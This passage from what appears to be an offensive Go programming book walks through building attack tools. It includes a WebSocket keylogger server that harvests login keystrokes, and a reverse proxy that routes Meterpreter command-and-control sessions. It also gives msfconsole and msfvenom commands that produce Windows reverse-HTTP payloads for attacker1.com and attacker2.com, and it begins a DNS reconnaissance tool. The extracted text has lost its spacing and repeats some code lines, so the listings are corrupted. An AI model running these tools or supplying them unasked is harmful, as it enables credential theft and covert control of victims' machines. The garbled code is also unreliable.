you’llpasstothetemplate.We’llgettothatinaminute.For thisexample,you’llsavetheJavaScriptinafilenamed logger.js. Butwait,yousay,wesaidwewereservingitask.js!The HTMLweshowedpreviouslyalsoexplicitlyusesk.js.What gives?Well,logger.jsisaGotemplate,notanactual JavaScriptfile.You’llusek.jsasyourpatterntomatchagainst inyourrouter.Whenitmatches,yourserverwillrenderthe templatestoredinthelogger.jsfile,completewithcontextual datathatrepresentsthehosttowhichyourWebSocket connects.Youcanseehowthisworksbylookingattheserver code,showninListing4-9. import( "flag" "fmt" "html/template" "log" "net/http" "github.com/gorilla/mux" ❶"github.com/gorilla/websocket" ) var( ❷upgrader=websocket.Upgrader{ CheckOrigin:func(r*http.Request)bool{returntrue}, } listenAddrstring wsAddrstring jsTemplate*template.Template ) funcinit(){ flag.StringVar(&listenAddr,"listen-addr","","Addresstolistenon") flag.StringVar(&wsAddr,"ws-addr","","AddressforWebSocketconnection") flag.Parse() varerrerror ❸jsTemplate,err=template.ParseFiles("logger.js") iferr!=nil{ panic(err) } } funcserveWS(whttp.ResponseWriter,r*http.Request){ ❹conn,err:=upgrader.Upgrade(w,r,nil) iferr!=nil{ http.Error(w,"",500) return } deferconn.Close() fmt.Printf("Connectionfrom%s\n",conn.RemoteAddr().String()) for{ ❺_,msg,err:=conn.ReadMessage() iferr!=nil{ return } ❻fmt.Printf("From%s:%s\n",conn.RemoteAddr().String(),string(msg)) } } funcserveFile(whttp.ResponseWriter,r*http.Request){ ❼w.Header().Set("Content-Type","application/javascript") ❽jsTemplate.Execute(w,wsAddr) } funcmain(){ r:=mux.NewRouter() ❾r.HandleFunc("/ws",serveWS) ❿r.HandleFunc("/k.js",serveFile) log.Fatal(http.ListenAndServe(":8080",r)) } Listing4-9:Keyloggingserver(/ch-4/websocket_keylogger/main.go) Wehavealottocoverhere.First,notethatyou’reusing anotherthird-partypackage,gorilla/websocket,tohandleyour WebSocketcommunications❶.Thisisafull-featured, powerfulpackagethatsimplifiesyourdevelopmentprocess, likethegorilla/muxrouteryouusedearlierinthischapter.Don’t forgettorungogetgithub.com/gorilla/websocketfromyourterminal first. Youthendefineseveralvariables.Youcreatea websocket.Upgraderinstancethat’llessentiallywhitelistevery origin❷.It’stypicallybadsecuritypracticetoallowall origins,butinthiscase,we’llrollwithitsincethisisatest instancewe’llrunonourlocalworkstations.Foruseinan actualmaliciousdeployment,you’dlikelywanttolimitthe origintoanexplicitvalue. Withinyourinit()function,whichexecutesautomatically beforemain(),youdefineyourcommandlineargumentsand attempttoparseyourGotemplatestoredinthelogger.jsfile. Noticethatyou’recallingtemplate.ParseFiles("logger.js")❸.You checktheresponsetomakesurethefileparsedcorrectly.Ifall issuccessful,youhaveyourparsedtemplatestoredina variablenamedjsTemplate. Atthispoint,youhaven’tprovidedanycontextualdatato yourtemplateorexecutedit.That’llhappenshortly.First, however,youdefineafunctionnamedserveWS()thatyou’lluse tohandleyourWebSocketcommunications.Youcreateanew websocket.Conninstancebycallingupgrader.Upgrade(http.ResponseWriter, *http.Request,http.Header)❹.TheUpgrade()methodupgradesthe HTTPconnectiontousetheWebSocketprotocol.Thatmeans thatanyrequesthandledbythisfunctionwillbeupgradedto useWebSockets.Youinteractwiththeconnectionwithinan infiniteforloop,callingconn.ReadMessage()toreadincoming messages❺.IfyourJavaScriptworksappropriately,these messagesshouldconsistofcapturedkeystrokes.Youwrite thesemessagesandtheclient’sremoteIPaddresstostdout❻. You’vetackledarguablythehardestpieceofthepuzzlein creatingyourWebSockethandler.Next,youcreateanother handlerfunctionnamedserveFile().Thisfunctionwillretrieve andreturnthecontentsofyourJavaScripttemplate,complete withcontextualdataincluded.Todothis,yousettheContent- Typeheaderasapplication/javascript❼.Thiswilltellconnecting browsersthatthecontentsoftheHTTPresponsebodyshould betreatedasJavaScript.Inthesecondandlastlineofthe handlerfunction,youcalljsTemplate.Execute(w,wsAddr)❽. Rememberhowyouparsedlogger.jswhileyouwere bootstrappingyourserverintheinit()function?Youstoredthe resultwithinthevariablenamedjsTemplate.Thislineofcode processesthattemplate.Youpasstoitanio.Writer(inthiscase, you’reusingw,anhttp.ResponseWriter)andyourcontextualdataof typeinterface{}.Theinterface{}typemeansthatyoucanpassany typeofvariable,whetherthey’restrings,structs,orsomething else.Inthiscase,you’repassingastringvariablenamed wsAddr.Ifyoujumpbackuptotheinit()function,you’llseethat thisvariablecontainstheaddressofyourWebSocketserver andissetviaacommandlineargument.Inshort,itpopulates thetemplatewithdataandwritesitasanHTTPresponse. Prettyslick! You’veimplementedyourhandlerfunctions,serveFile()and serveWS().Now,youjustneedtoconfigureyourrouterto performpatternmatchingsothatyoucanpassexecutiontothe appropriatehandler.Youdothis,muchasyouhave previously,inyourmain()function.Thefirstofyourtwo handlerfunctionsmatchesthe/wsURLpattern,executingyour serveWS()functiontoupgradeandhandleWebSocket connections❾.Thesecondroutematchesthepattern/k.js, executingtheserveFile()functionasaresult❿.Thisishowyour serverpushesarenderedJavaScripttemplatetotheclient. Let’sfireuptheserver.IfyouopentheHTMLfile,you shouldseeamessagethatreadsconnectionestablished.Thisis loggedbecauseyourJavaScriptfilehasbeenrenderedinthe browserandrequestedaWebSocketconnection.Ifyouenter credentialsintotheformelements,youshouldseethem printedtostdoutontheserver: $gorunmain.go-listen-addr=127.0.0.1:8080-ws-addr=127.0.0.1:8080 Connectionfrom127.0.0.1:58438 From127.0.0.1:58438:u From127.0.0.1:58438:s From127.0.0.1:58438:e From127.0.0.1:58438:r From127.0.0.1:58438: From127.0.0.1:58438:p From127.0.0.1:58438:@ From127.0.0.1:58438:s From127.0.0.1:58438:s From127.0.0.1:58438:w From127.0.0.1:58438:o From127.0.0.1:58438:r From127.0.0.1:58438:d Youdidit!Itworks!Youroutputlistseachindividual keystrokethatwaspressedwhenfillingouttheloginform.In thiscase,it’sasetofusercredentials.Ifyou’rehavingissues, makesureyou’resupplyingaccurateaddressesascommand linearguments.Also,theHTMLfileitselfmayneedtweaking ifyou’reattemptingtocallk.jsfromaserverotherthan localhost:8080. Youcouldimprovethiscodeinseveralways.Forone,you mightwanttologtheoutputtoafileorotherpersistent storage,ratherthantoyourterminal.Thiswouldmakeyou lesslikelytoloseyourdataiftheterminalwindowclosesor theserverreboots.Also,ifyourkeyloggerlogsthekeystrokes ofmultipleclientssimultaneously,theoutputwillmixthe data,makingitpotentiallydifficulttopiecetogetheraspecific user’scredentials.Youcouldavoidthisbyfindingabetter presentationformatthat,forexample,groupskeystrokesby uniqueclient/portsource. Yourjourneythroughcredentialharvestingiscomplete. We’llendthischapterbypresentingmultiplexingHTTP command-and-controlconnections. MULTIPLEXINGCOMMAND-AND- CONTROL You’vearrivedatthelastsectionofthechapteronHTTP servers.Here,you’lllookathowtomultiplexMeterpreter HTTPconnectionstodifferentbackendcontrolservers. Meterpreterisapopular,flexiblecommand-and-control(C2) suitewithintheMetasploitexploitationframework.Wewon’t gointotoomanydetailsaboutMetasploitorMeterpreter.If you’renewtoit,werecommendreadingthroughoneofthe manytutorialordocumentationsites. Inthissection,we’llwalkthroughcreatingareverseHTTP proxyinGosothatyoucandynamicallyrouteyourincoming MeterpretersessionsbasedontheHostHTTPheader,whichis howvirtualwebsitehostingworks.However,insteadof servingdifferentlocalfilesanddirectories,you’llproxythe connectiontodifferentMeterpreterlisteners.Thisisan interestingusecaseforafewreasons. First,yourproxyactsasaredirector,allowingyouto exposeonlythatdomainnameandIPaddresswithout exposingyourMetasploitlisteners.Iftheredirectorevergets blacklisted,youcansimplymoveitwithouthavingtomove yourC2server.Second,youcanextendtheconceptshereto performdomainfronting,atechniqueforleveragingtrusted third-partydomains(oftenfromcloudproviders)tobypass restrictiveegresscontrols.Wewon’tgointoafull-fledged examplehere,butwehighlyrecommendyoudigintoit,asit canbeprettypowerful,allowingyoutoegressrestricted networks.Lastly,theusecasedemonstrateshowyoucanshare asinglehost/portcombinationamongateamofallies potentiallyattackingdifferenttargetorganizations.Sinceports 80and443arethemostlikelyallowedegressports,youcan useyourproxytolistenonthoseportsandintelligentlyroute theconnectionstothecorrectlistener. Here’stheplan.You’llsetuptwoseparateMeterpreter reverseHTTPlisteners.Inthisexample,thesewillresideona virtualmachinewithanIPaddressof10.0.1.20,buttheycould verywellexistonseparatehosts.You’llbindyourlistenersto ports10080and20080,respectively.Inarealsituation,these listenerscanberunninganywheresolongastheproxycan reachthoseports.MakesureyouhaveMetasploitinstalled(it comespre-installedonKaliLinux);thenstartyourlisteners. $msfconsole >useexploit/multi/handler >setpayloadwindows/meterpreter_reverse_http ❶>setLHOST10.0.1.20 >setLPORT80 ❷>setReverseListenerBindAddress10.0.1.20 >setReverseListenerBindPort10080 >exploit-j-z [*]Exploitrunningasbackgroundjob1. [*]StartedHTTPreversehandleronhttp://10.0.1.20:10080 Whenyoustartyourlistener,yousupplytheproxydataas theLHOSTandLPORTvalues❶.However,yousetthe advancedoptionsReverseListenerBindAddressand ReverseListenerBindPorttotheactualIPandportonwhichyou wantthelistenertostart❷.Thisgivesyousomeflexibilityin portusagewhileallowingyoutoexplicitlyidentifytheproxy host—whichmaybeahostname,forexample,ifyouwere settingupdomainfronting. OnasecondinstanceofMetasploit,you’lldosomething similartostartanadditionallisteneronport20080.Theonly realdifferencehereisthatyou’rebindingtoadifferentport: $msfconsole >useexploit/multi/handler >setpayloadwindows/meterpreter_reverse_http >setLHOST10.0.1.20 >setLPORT80 >setReverseListenerBindAddress10.0.1.20 >setReverseListenerBindPort20080 >exploit-j-z [*]Exploitrunningasbackgroundjob1. [*]StartedHTTPreversehandleronhttp://10.0.1.20:20080 Now,let’screateyourreverseproxy.Listing4-10shows thecodeinitsentirety. packagemain import( "log" "net/http" ❶"net/http/httputil" "net/url" "github.com/gorilla/mux" ) ❷var( hostProxy=make(map[string]string) proxies=make(map[string]*httputil.ReverseProxy) ) funcinit(){ ❸hostProxy["attacker1.com"]="http://10.0.1.20:10080" hostProxy["attacker2.com"]="http://10.0.1.20:20080" fork,v:=rangehostProxy{ ❹remote,err:=url.Parse(v) iferr!=nil{ log.Fatal("Unabletoparseproxytarget") } ❺proxies[k]=httputil.NewSingleHostReverseProxy(remote) } } funcmain(){ r:=mux.NewRouter() forhost,proxy:=rangeproxies{ ❻r.Host(host).Handler(proxy) } log.Fatal(http.ListenAndServe(":80",r)) } Listing4-10:MultiplexingMeterpreter(/ch-4/multiplexer/main.go) Firstoff,you’llnoticethatyou’reimportingthe net/http/httputilpackage❶,whichcontainsfunctionalitytoassist withcreatingareverseproxy.It’llsaveyoufromhavingto createonefromscratch. Afteryouimportyourpackages,youdefineapairof variables❷.Bothvariablesaremaps.You’llusethefirst, hostProxy,tomaphostnamestotheURLoftheMetasploit listenertowhichyou’llwantthathostnametoroute. Remember,you’llberoutingbasedontheHostheaderthat yourproxyreceivesintheHTTPrequest.Maintainingthis mappingisasimplewaytodeterminedestinations. Thesecondvariableyoudefine,proxies,willalsouse hostnamesasitskeyvalues.However,theircorresponding valuesinthemapare*httputil.ReverseProxyinstances.Thatis,the valueswillbeactualproxyinstancestowhichyoucanroute, ratherthanstringrepresentationsofthedestination. Noticethatyou’rehardcodingthisinformation,whichisn’t themostelegantwaytomanageyourconfigurationandproxy data.Abetterimplementationwouldstorethisinformationin anexternalconfigurationfileinstead.We’llleavethatasan exerciseforyou. Youuseaninit()functiontodefinethemappingsbetween domainnamesanddestinationMetasploitinstances❸.Inthis case,you’llrouteanyrequestwithaHostheadervalueof attacker1.comtohttp://10.0.1.20:10080andanythingwithaHostheader valueofattacker2.comtohttp://10.0.1.20:20080.Ofcourse,youaren’t actuallydoingtheroutingyet;you’rejustcreatingyour rudimentaryconfiguration.Noticethatthedestinations correspondtotheReverseListenerBindAddressand ReverseListenerBindPortvaluesyouusedforyourMeterpreter listenersearlier. Next,stillwithinyourinit()function,youloopoveryour hostProxymap,parsingthedestinationaddressestocreatenet.URL instances❹.Youusetheresultofthisasinputintoacallto httputil.NewSingleHostReverseProxy(net.URL)❺,whichisahelper functionthatcreatesareverseproxyfromaURL.Evenbetter, thehttputil.ReverseProxytypesatisfiesthehttp.Handlerinterface, whichmeansyoucanusethecreatedproxyinstancesas handlersforyourrouter.Youdothiswithinyourmain() function.Youcreatearouterandthenloopoverallofyour proxyinstances.Recallthatthekeyisthehostname,andthe valueisoftypehttputil.ReverseProxy.Foreachkey/valuepairin yourmap,youaddamatchingfunctionontoyourrouter❻. TheGorillaMUXtoolkit’sRoutetypecontainsamatching functionnamedHostthatacceptsahostnametomatchHost headervaluesinincomingrequestsagainst.Foreachhostname youwanttoinspect,youtelltheroutertousethe correspondingproxy.It’sasurprisinglyeasysolutiontowhat couldotherwisebeacomplicatedproblem. Yourprogramfinishesbystartingtheserver,bindingitto port80.Saveandruntheprogram.You’llneedtodosoasa privilegedusersinceyou’rebindingtoaprivilegedport. Atthispoint,youhavetwoMeterpreterreverseHTTP listenersrunning,andyoushouldhaveareverseproxyrunning nowaswell.Thelaststepistogeneratetestpayloadstocheck thatyourproxyworks.Let’susemsfvenom,apayloadgeneration toolthatshipswithMetasploit,togenerateapairofWindows executablefiles: $msfvenom-pwindows/meterpreter_reverse_httpLHOST=10.0.1.20 LPORT=80 HttpHostHeader=attacker1.com-fexe-opayload1.exe $msfvenom-pwindows/meterpreter_reverse_httpLHOST=10.0.1.20 LPORT=80 HttpHostHeader=attacker2.com-fexe-opayload2.exe Thisgeneratestwooutputfilesnamedpayload1.exeand payload2.exe.Noticethattheonlydifferencebetweenthetwo, besidestheoutputfilename,istheHttpHostHeadervalues.This ensuresthattheresultingpayloadsendsitsHTTPrequests withaspecificHostheadervalue.AlsoofnoteisthattheLHOST andLPORTvaluescorrespondtoyourreverseproxy informationandnotyourMeterpreterlisteners.Transferthe resultingexecutablestoaWindowssystemorvirtualmachine. Whenyouexecutethefiles,youshouldseetwonewsessions established:oneonthelistenerboundtoport10080,andone onthelistenerboundtoport20080.Theyshouldlook somethinglikethis: > [*]http://10.0.1.20:10080handlingrequestfrom10.0.1.20;(UUID:hff7podk) Redirectingstageless connectionfrom/pxS_2gL43lv34_birNgRHgL4AJ3A9w3i9FXG3Ne2- 3UdLhACr8-Qt6QOlOw PTkzww3NEptWTOan2rLo5RT42eOdhYykyPYQy8dq3Bq3Mi2TaAEBwithUA 'Mozilla/5.0(WindowsNT6.1; Trident/7.0; rv:11.0)likeGecko' [*]http://10.0.1.20:10080handlingrequestfrom10.0.1.20;(UUID:hff7podk) Attaching orphaned/stagelesssession... [*]Meterpretersession1opened(10.0.1.20:10080->10.0.1.20:60226)at2020-07- 0316:13:34-0500 IfyouusetcpdumporWiresharktoinspectnetworktraffic destinedforport10080or20080,youshouldseethatyour reverseproxyistheonlyhostcommunicatingwiththe Metasploitlistener.YoucanalsoconfirmthattheHostheader issetappropriatelytoattacker1.com(forthelisteneronport 10080)andattacker2.com(forthelisteneronport20080). That’sit.You’vedoneit!Now,takeitupanotch.Asan exerciseforyou,werecommendyouupdatethecodetousea stagedpayload.Thislikelycomeswithadditionalchallenges, asyou’llneedtoensurethatbothstagesareproperlyrouted throughtheproxy.Further,trytoimplementitbyusing HTTPSinsteadofcleartextHTTP.Thiswillfurtheryour understandingandeffectivenessatproxyingtrafficinuseful, nefariousways. SUMMARY You’vecompletedyourjourneyofHTTP,workingthrough bothclientandserverimplementationsoverthelasttwo chapters.Inthenextchapter,you’llfocusonDNS,anequally usefulprotocolforsecuritypractitioners.Infact,you’llcome closetoreplicatingthisHTTPmultiplexingexampleusing DNS. 5 EXPLOITINGDNS TheDomainNameSystem(DNS)locatesinternetdomain namesandtranslatesthemtoIPaddresses.Itcanbean effectiveweaponinthehandsofanattacker,because organizationscommonlyallowtheprotocoltoegressrestricted networksandtheyfrequentlyfailtomonitoritsuse adequately.Ittakesalittleknowledge,butsavvyattackerscan leveragetheseissuesthroughoutnearlyeverystepofanattack chain,includingreconnaissance,commandandcontrol(C2), andevendataexfiltration.Inthischapter,you’lllearnhowto writeyourownutilitiesbyusingGoandthird-partypackages toperformsomeofthesecapabilities. You’llstartbyresolvinghostnamesandIPaddressesto revealthemanytypesofDNSrecordsthatcanbeenumerated. Thenyou’llusepatternsillustratedinearlierchapterstobuild amassivelyconcurrentsubdomain-guessingtool.Finally, you’lllearnhowtowriteyourownDNSserverandproxy,and you’lluseDNStunnelingtoestablishaC2channeloutofa restrictivenetwork! WRITINGDNSCLIENTS Beforeexploringprogramsthataremorecomplex,let’sget acquaintedwithsomeoftheoptionsavailableforclient operations.Go’sbuilt-innetpackageoffersgreatfunctionality andsupportsmost,ifnotall,recordtypes.Theupsidetothe built-inpackageisitsstraightforwardAPI.Forexample, LookupAddr(addrstring)returnsalistofhostnamesforagivenIP address.ThedownsideofusingGo’sbuilt-inpackageisthat youcan’tspecifythedestinationserver;instead,thepackage willusetheresolverconfiguredonyouroperatingsystem. Anotherdownsideisthatyoucan’trundeepinspectionofthe results. Togetaroundthis,you’lluseanamazingthird-party packagecalledtheGoDNSpackagewrittenbyMiekGieben. ThisisourpreferredDNSpackagebecauseit’shighly modular,wellwritten,andwelltested.Usethefollowingto installthispackage: $gogetgithub.com/miekg/dns Oncethepackageisinstalled,you’rereadytofollowalong withtheupcomingcodeexamples.You’llbeginbyperforming ArecordlookupsinordertoresolveIPaddressesfor hostnames. RetrievingARecords Let’sstartbyperformingalookupforafullyqualifieddomain name(FQDN),whichspecifiesahost’sexactlocationinthe DNShierarchy.Thenwe’llattempttoresolvethatFQDNtoan IPaddress,usingatypeofDNSrecordcalledanArecord.We useArecordstopointadomainnametoanIPaddress.Listing 5-1showsanexamplelookup.(Allthecodelistingsattheroot locationof/existundertheprovidedgithubrepo https://github.com/blackhat-go/bhg/.) packagemain import( "fmt" "github.com/miekg/dns" ) funcmain(){ ❶varmsgdns.Msg ❷fqdn:=dns.Fqdn("stacktitan.com") ❸msg.SetQuestion(fqdn,dns.TypeA) ❹dns.Exchange(&msg,"8.8.8.8:53") } Listing5-1:RetrievinganArecord(/ch-5/get_a/main.go) StartbycreatinganewMsg❶andthencallfqdn(string)to transformthedomainintoaFQDNthatcanbeexchangedwith aDNSserver❷.Next,modifytheinternalstateoftheMsg withacalltoSetQuestion(string,uint16)byusingtheTypeAvalueto denoteyourintenttolookupanArecord❸.(Thisisaconst definedinthepackage.Youcanviewtheothersupported valuesinthepackagedocumentation.)Finally,placeacallto Exchange(*Msg,string)❹inordertosendthemessagetothe providedserveraddress,whichisaDNSserveroperatedby Googleinthiscase. Asyoucanprobablytell,thiscodeisn’tveryuseful. Althoughyou’resendingaquerytoaDNSserverandasking fortheArecord,youaren’tprocessingtheanswer;youaren’t doinganythingmeaningfulwiththeresult.Priorto programmaticallydoingthatinGo,let’sfirstreviewwhatthe DNSanswerlookslikesothatwecangainadeeper understandingoftheprotocolandthedifferentquerytypes. BeforeyouexecutetheprograminListing5-1,runa packetanalyzer,suchasWiresharkortcpdump,toviewthe traffic.Here’sanexampleofhowyoumightusetcpdumpona Linuxhost: $sudotcpdump-ieth0-nudpport53 Inaseparateterminalwindow,compileandexecuteyour programlikethis: $gorunmain.go Onceyouexecuteyourcode,youshouldseeaconnection to8.8.8.8overUDP53intheoutputfromyourpacketcapture. YoushouldalsoseedetailsabouttheDNSprotocol,asshown here: $sudotcpdump-ieth0-nudpport53 tcpdump:verboseoutputsuppressed,use-vor-vvforfullprotocoldecode listeningonens33,link-typeEN10MB(Ethernet),capturesize262144bytes 23:55:16.523741IP192.168.7.51.53307>8.8.8.8.53:❶25147+A?❷ stacktitan.com.(32) 23:55:16.650905IP8.8.8.8.53>192.168.7.51.53307:251471/0/0A 104.131.56.170(48)❸ Thepacketcaptureoutputproducesacoupleoflinesthat requirefurtherexplanation.First,aqueryisbeingplacedfrom 192.168.7.51to8.8.8.8byusingUDP53❶whilerequesting aDNSArecord❷.Theresponse❸isreturnedfrom Google’s8.8.8.8DNSserver,whichcontainstheresolvedIP address,104.131.56.170. Usingapacketanalyzersuchastcpdump,you’reableto resolvethedomainnamestacktitan.comtoanIPaddress.Now let’stakealookathowtoextractthatinformationbyusing Go. ProcessingAnswersfromaMsgstruct ThereturnedvaluesfromExchange(*Msg,string)are(*Msg,error). ReturningtheerrortypemakessenseandiscommoninGo idioms,butwhydoesitreturn*Msgifthat’swhatyoupassed in?Toclarifythis,lookathowthestructisdefinedinthe source: typeMsgstruct{ MsgHdr Compressbool`json:"-"`//Iftrue,themessagewillbecompressed... ❶Question[]Question//HoldstheRR(s)ofthequestionsection. ❷Answer[]RR//HoldstheRR(s)oftheanswersection. Ns[]RR//HoldstheRR(s)oftheauthoritysection. Extra[]RR//HoldstheRR(s)oftheadditionalsection. } Asyoucansee,theMsgstructholdsbothquestionsand answers.ThisletsyouconsolidateallyourDNSquestionsand theiranswersintoasingle,unifiedstructure.TheMsgtypehas variousmethodsthatmakeworkingwiththedataeasier.For example,theQuestionslice❶isbeingmodifiedwiththe conveniencemethodSetQuestion().Youcouldmodifythisslice directlybyusingappend()andachievethesameoutcome.The Answerslice❷holdstheresponsetothequeriesandisoftype RR.Listing5-2demonstrateshowtoprocesstheanswers. packagemain import( "fmt" "github.com/miekg/dns" ) funcmain(){ varmsgdns.Msg fqdn:=dns.Fqdn("stacktitan.com") msg.SetQuestion(fqdn,dns.TypeA) ❶in,err:=dns.Exchange(&msg,"8.8.8.8:53") iferr!=nil{ panic(err) } ❷iflen(in.Answer)<1{ fmt.Println("Norecords") return } for_,answer:=rangein.Answer{ ifa❸,ok:=answer.(*dns.A)❹;ok{ ❺fmt.Println(a.A) } } } Listing5-2:ProcessingDNSanswers(/ch-5/get_all_a/main.go) Ourexamplebeginsbystoringthevaluesreturnedfrom Exchange,checkingwhethertherewasanerror,andifso,calling panic()tostoptheprogram❶.Thepanic()functionletsyou quicklyseethestacktraceandidentifywheretheerror occurred.Next,validatethatthelengthoftheAnswersliceisat least1❷,andifitisn’t,indicatethattherearenorecordsand immediatelyreturn—afterall,therewillbelegitimate instanceswhenthedomainnamecannotberesolved. ThetypeRRisaninterfacewithonlytwodefinedmethods, andneitherallowsaccesstotheIPaddressstoredinthe answer.ToaccessthoseIPaddresses,you’llneedtoperforma typeassertiontocreateaninstanceofthedataasyourdesired type. First,loopoveralltheanswers.Next,performthetype assertionontheanswertoensurethatyou’redealingwitha *dns.Atype❸.Whenperformingthisaction,youcanreceive twovalues:thedataastheassertedtypeandaboolrepresenting whethertheassertionwassuccessful❹.Afterchecking whethertheassertionwassuccessful,printtheIPaddress storedina.A❺.Althoughthetypeisnet.IP,itdoesimplementa String()method,soyoucaneasilyprintit. Spendtimewiththiscode,modifyingtheDNSqueryand exchangetosearchforadditionalrecords.Thetypeassertion maybeunfamiliar,butit’sasimilarconcepttotypecastingin otherlanguages. EnumeratingSubdomains NowthatyouknowhowtouseGoasaDNSclient,youcan createusefultools.Inthissection,you’llcreateasubdomain- guessingutility.Guessingatarget’ssubdomainsandother DNSrecordsisafoundationalstepinreconnaissance,because themoresubdomainsyouknow,themoreyoucanattemptto attack.You’llsupplyourutilityacandidatewordlist(a dictionaryfile)touseforguessingsubdomains. WithDNS,youcansendrequestsasfastasyouroperating systemcanhandletheprocessingofpacketdata.Whilethe languageandruntimearen’tgoingtobecomeabottleneck,the destinationserverwill.Controllingtheconcurrencyofyour programwillbeimportanthere,justasithasbeeninprevious chapters. First,createanewdirectoryinyourGOPATHcalled subdomain_guesser,andcreateanewfilemain.go.Next, whenyoufirststartwritinganewtool,youmustdecidewhich argumentstheprogramwilltake.Thissubdomain-guessing programwilltakeseveralarguments,includingthetarget domain,thefilenamecontainingsubdomainstoguess,the destinationDNSservertouse,andthenumberofworkersto launch.Goprovidesausefulpackageforparsingcommand lineoptionscalledflagthatyou’llusetohandleyourcommand linearguments.Althoughwedon’tusetheflagpackageacross allofourcodeexamples,we’veoptedtouseitinthiscaseto demonstratemorerobust,elegantargumentparsing.Listing5- 3showsourargument-parsingcode. packagemain import( "flag" ) funcmain(){ var( flDomain=flag.String("domain","","Thedomaintoperformguessing against.")❶ flWordlist=flag.String("wordlist","","Thewordlisttouseforguessing.") flWorkerCount=flag.Int("c",100,"Theamountofworkerstouse.")❷ flServerAddr=flag.String("server","8.8.8.8:53","TheDNSservertouse.") ) flag.Parse()❸ } Listing5-3:Buildingasubdomainguesser(/ch-5/subdomain_guesser/main.go) First,thecodelinedeclaringtheflDomainvariable❶takesa Stringargumentanddeclaresanemptystringdefaultvaluefor whatwillbeparsedasthedomainoption.Thenextpertinentline ofcodeistheflWorkerCountvariabledeclaration❷.Youneedto provideanIntegervalueastheccommandlineoption.Inthis case,setthisto100defaultworkers.Butthisvalueisprobably tooconservative,sofeelfreetoincreasethenumberwhen testing.Finally,acalltoflag.Parse()❸populatesyourvariables byusingtheprovidedinputfromtheuser. NOTE YoumayhavenoticedthattheexampleisgoingagainstUnixlawinthatit hasdefinedoptionalargumentsthataren’toptional.Pleasefeelfreetouse os.Argshere.Wejustfinditeasierandfastertolettheflagpackagedoallthe work. Ifyoutrytobuildthisprogram,youshouldreceiveanerror aboutunusedvariables.Addthefollowingcodeimmediately afteryourcalltoflag.Parse().Thisadditionprintsthevariablesto stdoutalongwithcode,ensuringthattheuserprovided-domain and-wordlist: if*flDomain==""||*flWordlist==""{ fmt.Println("-domainand-wordlistarerequired") os.Exit(1) } fmt.Println(*flWorkerCount,*flServerAddr) Toallowyourtooltoreportwhichnameswereresolvable alongwiththeirrespectiveIPaddresses,you’llcreateastruct typetostorethisinformation.Defineitabovethemain() function: typeresultstruct{ typeresultstruct{ IPAddressstring Hostnamestring } You’llquerytwomainrecordtypes—AandCNAME—for thistool.You’llperformeachqueryinaseparatefunction.It’s agoodideatokeepyourfunctionsassmallaspossibleandto haveeachperformonethingwell.Thisstyleofdevelopment allowsyoutowritesmallertestsinthefuture. QueryingAandCNAMERecords You’llcreatetwofunctionstoperformqueries:oneforA recordsandtheotherforCNAMErecords.Bothfunctions acceptaFQDNasthefirstargumentandtheDNSserver addressasthesecond.Eachshouldreturnasliceofstringsand anerror.Addthesefunctionstothecodeyoubegandefining inListing5-3.Thesefunctionsshouldbedefinedoutside main(). funclookupA(fqdn,serverAddrstring)([]string,error){ varmdns.Msg varips[]string m.SetQuestion(dns.Fqdn(fqdn),dns.TypeA) in,err:=dns.Exchange(&m,serverAddr) iferr!=nil{ returnips,err } iflen(in.Answer)<1{ returnips,errors.New("noanswer") } for_,answer:=rangein.Answer{ ifa,ok:=answer.(*dns.A);ok{ ips=append(ips,a.A.String()) } } returnips,nil returnips,nil } funclookupCNAME(fqdn,serverAddrstring)([]string,error){ varmdns.Msg varfqdns[]string m.SetQuestion(dns.Fqdn(fqdn),dns.TypeCNAME) in,err:=dns.Exchange(&m,serverAddr) iferr!=nil{ returnfqdns,err } iflen(in.Answer)<1{ returnfqdns,errors.New("noanswer") } for_,answer:=rangein.Answer{ ifc,ok:=answer.(*dns.CNAME);ok{ fqdns=append(fqdns,c.Target) } } returnfqdns,nil } Thiscodeshouldlookfamiliarbecauseit’snearlyidentical tothecodeyouwroteinthefirstsectionofthischapter.The firstfunction,lookupA,returnsalistofIPaddresses,and lookupCNAMEreturnsalistofhostnames. CNAME,orcanonicalname,recordspointoneFQDNto anotheronethatservesasanaliasforthefirst.Forinstance, saytheowneroftheexample.comorganizationwantstohosta WordPresssitebyusingaWordPresshostingservice.That servicemayhavehundredsofIPaddressesforbalancingallof theirusers’sites,soprovidinganindividualsite’sIPaddress wouldbeinfeasible.TheWordPresshostingservicecan insteadprovideacanonicalname(aCNAME)thattheowner ofexample.comcanreference.Sowww.example.commight haveaCNAMEpointingtosomeserver.hostingcompany.org, whichinturnhasanArecordpointingtoanIPaddress.This allowstheownerofexample.comtohosttheirsiteonaserver forwhichtheyhavenoIPinformation. Oftenthismeansyou’llneedtofollowthetrailof CNAMEStoeventuallyendupatavalidArecord.Wesay trailbecauseyoucanhaveanendlesschainofCNAMES. Placethefunctioninthefollowingcodeoutsidemain()tosee howyoucanusethetrailofCNAMEStotrackdownthevalid Arecord: funclookup(fqdn,serverAddrstring)[]result{ ❶varresults[]result ❷varcfqdn=fqdn//Don'tmodifytheoriginal. for{ ❸cnames,err:=lookupCNAME(cfqdn,serverAddr) ❹iferr==nil&&len(cnames)>0{ ❺cfqdn=cnames[0] ❻continue//WehavetoprocessthenextCNAME. } ❼ips,err:=lookupA(cfqdn,serverAddr) iferr!=nil{ break//TherearenoArecordsforthishostname. } ❽for_,ip:=rangeips{ results=append(results,result{IPAddress:ip,Hostname:fqdn}) } ❾break//Wehaveprocessedalltheresults. } returnresults } First,defineaslicetostoreresults❶.Next,createacopy oftheFQDNpassedinasthefirstargument❷,notonlyso youdon’tlosetheoriginalFQDNthatwasguessed,butalso soyoucanuseitonthefirstqueryattempt.Afterstartingan infiniteloop,trytoresolvetheCNAMEsfortheFQDN❸.If noerrorsoccurandatleastoneCNAMEisreturned❹,set cfqdntotheCNAMEreturned❺,usingcontinuetoreturntothe beginningoftheloop❻.Thisprocessallowsyoutofollow thetrailofCNAMESuntilafailureoccurs.Ifthere’safailure, whichindicatesthatyou’vereachedtheendofthechain,you canthenlookforArecords❼;butifthere’sanerror,which indicatessomethingwentwrongwiththerecordlookup,then youleavetheloopearly.IftherearevalidArecords,append eachoftheIPaddressesreturnedtoyourresultsslice❽and breakoutoftheloop❾.Finally,returntheresultstothecaller. Ourlogicassociatedwiththenameresolutionseemssound. However,youhaven’taccountedforperformance.Let’smake ourexamplegoroutine-friendlysoyoucanaddconcurrency. PassingtoaWorkerFunction You’llcreateapoolofgoroutinesthatpassworktoaworker function,whichperformsaunitofwork.You’lldothisby usingchannelstocoordinateworkdistributionandthe gatheringofresults.Recallthatyoudidsomethingsimilarin 